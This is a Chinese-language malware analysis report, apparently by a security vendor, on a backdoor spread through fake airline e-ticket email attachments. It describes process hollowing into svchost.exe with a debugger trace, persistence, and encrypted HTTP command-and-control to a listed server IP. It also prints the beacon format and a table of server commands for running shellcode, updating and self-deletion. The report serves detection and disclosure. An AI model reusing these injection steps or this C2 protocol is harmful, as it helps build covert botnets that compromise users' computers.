一、 木马概述
从木马特征来看,这是一个大规模抓鸡木马,中了此木马,电脑就被暴露在黑客控制下,成为僵尸网络的一部份。木马主要通过发送航空电子票的方式传播,并以附件方式发送,木马的图标为doc文件的图像,极具诱惑性。日传播用户量上万,是目前抓到的传播范围比较广的后门程序。
数据显示,从2014年8月28日--2014年9月4日,电脑管家从SNS邮箱渠道,共检出28336个“电子票潜伏者”变种样本,统计图表如下:
通过对传播源的追溯,得到传播源发邮件邮箱的IP地址,如下图表,邮件总量:37134。从图表中可以得到“钓鱼邮件“来自世界各地,其中美国占大部分。
从木马服务器的指令可以看出,黑客通过分组分类实现大量“肉鸡”自动化管理,维护僵尸网络。木马通过两次“换身脱壳”最终创建svchost.exe傀儡进程。木马值入电脑后,并不会大张旗鼓地“办事”,而是访问远程服务,请求指令,接受指令后才办事。通信采用http方式,数据采用非对称加密算法加密,样本里保存通信的公钥,服务器保存私钥。与食猫鼠有点相似,新模块不会落地,都是在内存中运行。指令有休眠指令(可以sleep 10天甚至一个月)、有下载新模块指令、有更新程序指令、有自毁指令(清除痕迹自卸载)等。而且有反虚拟机和抓包工具的行为。
后门的服务器主要在如下几个国家:
二、分析过程
1.第一次“换身脱壳”
创建母体进程,创建进程,通过WriteProcessMemory写入shellcode和修改PEB的映像基址,然后调用ResumeThread让线程跑起来执行shellcode的行为。退出进程。
CALL 到 CreateProcessA 来自 a5fac160.4F4013C6
|ModuleFileName = "C:\Documents and Settings\Administrator\桌面\DeltaTicket_ET-RM-OHJ423891156.exe"
|CommandLine = NULL
|pProcessSecurity = NULL
|pThreadSecurity = NULL
|InheritHandles = FALSE
|CreationFlags = CREATE_SUSPENDED
|pEnvironment = NULL
|CurrentDir = NULL
|pStartupInfo = 0012FE70
\pProcessInfo = 0012FEC0
2.在svchost.exe(系统正常文件)进程,通过微软未公开API函数MapViewOfSection注入shellcode,然后通过ResumeThread让线程跑起来执行shellcode。退出进程。到这里只有svchost.exe傀儡进程运行着。
3.GetUserNameA得到用户名,调用CreateMutex创建互斥量,保证当前唯一实例在运行,互斥量名:aa+用户,如aaAdminstrator。
4.拷贝母体到C:\Documents and Settings\Administrator\Local Settings\Application Data目录下。
然后创建自启动项
5.采用非对称加密算法加密通信数据。
调用Wininet API 访问服务器,如下图:
母体拥有加密的公钥,而木马远程服务器拥有加密的私钥。
公钥密钥如下:
-----BEGIN PUBLIC KEY-----\r\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDh1cXNl5TSGcC5OrnDBc+fdN/0\r\nPblnZEAOlryK65eKdaNAIi0okxHTfCHKZQWEz8LOzQRclzg+SilO+jbesgZg/Y7U\r\nc8edpo93cM0eyVE7Pi5n73I/lLyvD/gDby80FQmj1sbayyHR2DG8heeJJ2TRTfzD\r\nr6V/45jRqvvUfgl+swIDAQAB\r\n-----END PUBLIC KEY-----
根据非对称加密算法原理得知,母体加密的数据,必须用私钥才能解密,相反服务器加密的数据,要公钥才能解密,就算第三方监听软件得到数据后,也无法解密,从而保证数据安全。
6.访问服务器,请求指令。
采用http方式与木马服务器通信,端口是443,但它并不是使用https协议,木马这么做是为了伪装成https的数据流,混淆于正常数据流中。如图:
【send】
URL : https://222.124.166.12:443/60BEFE6A816ED5BF940937394B8DA9BC1FB55514F0
未加密的数 据:<knock><id>60BEFE6A87DBB6D0E1C63DD52509D910</id><group>2608s< /group><src>3</src><transport>0</transport><time>1712272722</time><version>2050</version><status>0</status><debug>none.none.none</debug></knock>
<id>60BEFE6A87DBB6D0E1C63DD52509D910</id> : 母体编号,区别其它变种母体。
<group>2608s</group> : 分组标志,方便服务统一管理
version>2050</version> : 版本号
【recv】
解密数据:
<knock><id>60BEFE6A87DBB6D0E1C63DD52509D910</id><task type="idl" /></knock>
task type="idl" : idl是服务器指令,这是一休眠指令,除了idl 还有其它6条指令,相对于idl指令,这6条指令会附带其它数据参数。其它6条指令如下:
指令表:
【idl指令】
读取指令参数,如下图:
调用sleep休眠,如下图:
【run指令】
从服务器得到shellcode,然后通过创建傀儡svchost进程,执行shellcode代码,用来完成指定具体的功能
【rem指令】
卸载指令,结束相关进程,删除相关文件和注册表,如下图:
【ear指令】
创建下载的shellcode模块,解压缩数据,监控到的数据,如图片。在母体目录下创建收集数据文件。如下图
【rdl指令】
检测和设置注册表记录木马状态,如下图:
【red指令】
删除旧文件,结束旧程序,接收服务的数据后,创建落地新母体,然后运行新母体。如下图:
【upd指令】
从服务器接收到新母体数据,然后更新到母体目录下,并修改自启动项,指向新母体,如下图:
电脑管家对此类病毒能有效拦杀: